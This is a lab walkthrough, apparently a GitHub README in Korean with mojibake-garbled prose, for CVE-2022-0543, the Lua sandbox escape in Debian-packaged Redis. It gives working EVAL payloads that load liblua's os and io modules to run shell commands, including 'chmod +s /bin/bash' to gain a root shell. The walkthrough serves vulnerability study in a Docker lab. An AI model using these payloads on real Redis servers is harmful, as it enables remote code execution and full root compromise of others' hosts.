Skip to content

Latest commit

ย 

History

History
111 lines (83 loc) ยท 5.3 KB

File metadata and controls

111 lines (83 loc) ยท 5.3 KB

CVE-2022-0543

Contributors


์š”์•ฝ


Redis๋ž€?

  • Redis๋Š” Key, Value ๊ตฌ์กฐ์˜ ๋น„์ •ํ˜• ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•˜๊ณ  ๊ด€๋ฆฌํ•˜๊ธฐ ์œ„ํ•œ ์˜คํ”ˆ ์†Œ์Šค ๊ธฐ๋ฐ˜์˜ ๋น„๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ ๋ฒ ์ด์Šค ๊ด€๋ฆฌ ์‹œ์Šคํ…œ (DBMS)์ž…๋‹ˆ๋‹ค.
  • ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค, ์บ์‹œ, ๋ฉ”์„ธ์ง€ ๋ธŒ๋กœ์ปค๋กœ ์‚ฌ์šฉ๋˜๋ฉฐ ์ธ๋ฉ”๋ชจ๋ฆฌ ๋ฐ์ดํ„ฐ ๊ตฌ์กฐ๋ฅผ ๊ฐ€์ง„ ์ €์žฅ์†Œ์ž…๋‹ˆ๋‹ค.

CVE-2022-0543 ์†Œ๊ฐœ

  • 2022๋…„ 2์›” Redis์˜ ์‹ฌ๊ฐํ•œ ์ทจ์•ฝ์ ์ด ๋ณด๊ณ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. Redis๋Š” ํŒจํ‚ค์ง• ๋ฌธ์ œ๋กœ ์ธํ•ด (Debian ๊ด€๋ จ) Lua ์ƒŒ๋“œ๋ฐ•์Šค ์ด์Šค์ผ€์ดํ”„๊ฐ€ ๋ฐœ์ƒํ•˜๊ธฐ ์‰ฝ๊ณ  ์ด๋กœ ์ธํ•ด ์›๊ฒฉ ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์œผ๋กœ ๋‚˜ํƒ€๋‚ฌ์Šต๋‹ˆ๋‹ค.
  • ์ฃผ๋ชฉํ•ด์•ผ ํ•  ์ค‘์š”ํ•œ ์ ์€ ์ด ์ทจ์•ฝ์ ์€ Debian ๋ฐ Debian ํŒŒ์ƒ Linux ๋ฐฐํฌ๋งŒ์—๋งŒ ์ ์šฉ๋œ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์—…์ŠคํŠธ๋ฆผ Redis๋Š” ์˜ํ–ฅ์„ ๋ฐ›์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  • Reginaldo Silva๊ฐ€ Debian/Ubuntu์˜ ํŒจํ‚ค์ง• ๋ฌธ์ œ๋กœ ์ธํ•ด ์ž„์˜์˜ Lua ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ์›๊ฒฉ ๊ณต๊ฒฉ์ž๊ฐ€ Lua ์ƒŒ๋“œ๋ฐ•์Šค๋ฅผ ์ด์Šค์ผ€์ดํ”„ํ•˜์—ฌ ํ˜ธ์ŠคํŠธ์—์„œ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Œ์„ ๋ฐœ๊ฒฌํ–ˆ์Šต๋‹ˆ๋‹ค.
  • ๊ทผ๋ณธ์ ์ธ ์›์ธ์€ Lua ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ Debian ๋™์  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋กœ ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค. "ํŒจํ‚ค์ง€"๋ณ€์ˆ˜๊ฐ€ ์ž๋™์œผ๋กœ ์ฑ„์›Œ์ง€๋ฏ€๋กœ ์ž„์˜์˜ Lua ๊ธฐ๋Šฅ์— ๋Œ€ํ•œ ์•ก์„ธ์Šค๊ฐ€ ํ—ˆ์šฉ๋ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ์ด ๊ธฐ๋Šฅ์€ "os"๋ชจ๋“ˆ์˜ "execute" ํ•จ์ˆ˜๋กœ ํ™•์žฅ๋˜๋ฉด ์ž„์˜์˜ Lua ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์ž„์˜์˜ ์…ธ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

PoC ์ฝ”๋“œ

eval 'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_l(); os.execute("touch /root/redis_poc"); return 0' 0

ํ™˜๊ฒฝ ๊ตฌ์„ฑ ๋ฐ ์‹คํ–‰

  • ํ„ฐ๋ฏธ๋„ ์ฐฝ์„ ์—ฐ ํ›„, ๋‹ค์Œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜์—ฌ Redis ์„œ๋ฒ„ 5.0.7 ํ…Œ์ŠคํŠธ ํ™˜๊ฒฝ์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.
docker compose up -d
  • ์„œ๋ฒ„๊ฐ€ ์‹œ์ž‘๋œ ํ›„ ๋‹ค์Œ ๋ช…๋ น์–ด๋ฅผ ํ†ตํ•ด ์ž๊ฒฉ ์ฆ๋ช… ์—†์ด ์ด ์„œ๋ฒ„์— ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Redis ์„œ๋ฒ„์˜ ๊ธฐ๋ณธ ์„ค์น˜์—๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์—†๋Š” ๊ธฐ๋ณธ ์‚ฌ์šฉ์ž๊ฐ€ ํ•จ๊ป˜ ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค. redis-cli
redis-cli -h your-ip
  • exit ๋ช…๋ น์–ด๋กœ ์—ฐ๊ฒฐ์„ ๋Š์€ ํ›„, Docker๋กœ ์—ฐ redis ์„œ๋ฒ„์—์„œ ๋‹ค์Œ ๋ช…๋ น์–ด๋กœ ์‹คํ–‰ ์ค‘์ธ ํ”„๋กœ์„ธ์Šค๋ฅผ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค. (๊ธฐ๋ณธ ํฌํŠธ์ธ 6379์—์„œ ์ˆ˜์‹  ๋Œ€๊ธฐ์ค‘์ด๋ฉฐ, Root๋กœ ์‹คํ–‰๋˜๊ณ  ์žˆ์Œ์„ ํ™•์ธ)
ps aux
  • Redis ์„œ๋ฒ„์— ๋‹ค์‹œ ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค.
redis-cli

  • PoC๋Š” ๊ณต์œ  Lua ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์ฐธ์กฐํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๊ณต์œ  Lua ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.
ls -al /usr/lib/x86_64-linux-gnu/liblua*

  • redis-cli๋กœ ์—ฐ๊ฒฐํ•œ ํ›„ ๋‹ค์Œ PoC ์ฝ”๋“œ๋ฅผ ์ž…๋ ฅํ•ฉ๋‹ˆ๋‹ค. (์ฃผ์˜ํ•  ์ : touch ๋’ค์— ์žˆ๋Š” ๊ฒฝ๋กœ๋ฅผ pwd๋กœ ํ™•์ธํ•˜์—ฌ ํ™•์ธํ•˜๊ธฐ ์‰ฝ๊ฒŒ ๋ณ€๊ฒฝ)
redis-cli
eval 'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_l(); os.execute("touch /root/redis_poc"); return 0' 0
  • ์ด์ œ redis-cli๋ฅผ ์ข…๋ฃŒํ•˜๊ณ  redis_poc ํŒŒ์ผ์„ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.
exit
ls -al

  • redis-cli์— ์—ฐ๊ฒฐํ•˜๊ณ  ๋‹ค์Œ id์˜ os ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋Š” ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ž…๋ ฅํ•ฉ๋‹ˆ๋‹ค.
redis-cli
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

  • ๋‹ค์Œ์œผ๋กœ ๋ฃจํŠธ ์…ธ์„ ์–ป๊ธฐ ์œ„ํ•ด Lua ์ƒŒ๋“œ๋ฐ•์Šค ์ด์Šค์ผ€์ดํ”„ ์ต์Šคํ”Œ๋กœ์ž‡์„ ํ™œ์šฉํ•˜์—ฌ bash๋ฅผ SUID ๋ฃจํŠธ ๋ฐ”์ด๋„ˆ๋ฆฌ๋กœ ๋งŒ๋“ญ๋‹ˆ๋‹ค.
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls -al /bin/bash", "r"); local res = f:read("*a"); f:close(); return res' 0
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("chmod +s /bin/bash", "r"); local res = f:read("*a"); f:close(); return res' 0
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls -al /bin/bash", "r"); local res = f:read("*a"); f:close(); return res' 0

  • redis-cli๋ฅผ ์ข…๋ฃŒํ•˜๊ณ  ๋ฃจํŠธ ์…ธ์„ ์–ป๊ธฐ ์œ„ํ•ด ๋ฃจํŠธ ์‚ฌ์šฉ์ž๋กœ ๋กœ๊ทธ์ธํ•ฉ๋‹ˆ๋‹ค.
exit
/bin/bash -p
id


์ •๋ฆฌ

  • ์ด ์ทจ์•ฝ์ ์€ Redis๊ฐ€ ๋ฐ๋น„์•ˆ ๊ณ„์—ด์˜ ์šฐ๋ถ„ํˆฌ ํŒจํ‚ค์ง• ๋ฌธ์ œ๋กœ Lua ์ƒŒ๋“œ๋ฐ•์Šค๋ฅผ ์ด์Šค์ผ€์ดํ”„ํ•˜์—ฌ ํ˜ธ์ŠคํŠธ์—์„œ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์•ˆ์ „ํ•œ redis ์„œ๋ฒ„๋ฅผ ์šด์˜ํ•˜๊ธฐ ์œ„ํ•ด์„œ ์ฃผ๊ธฐ์ ์œผ๋กœ redis ๋ฒ„์ „์„ ํ™•์ธํ•˜๊ณ  ์—…๋ฐ์ดํŠธ ํ•˜๋Š” ๊ฒƒ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.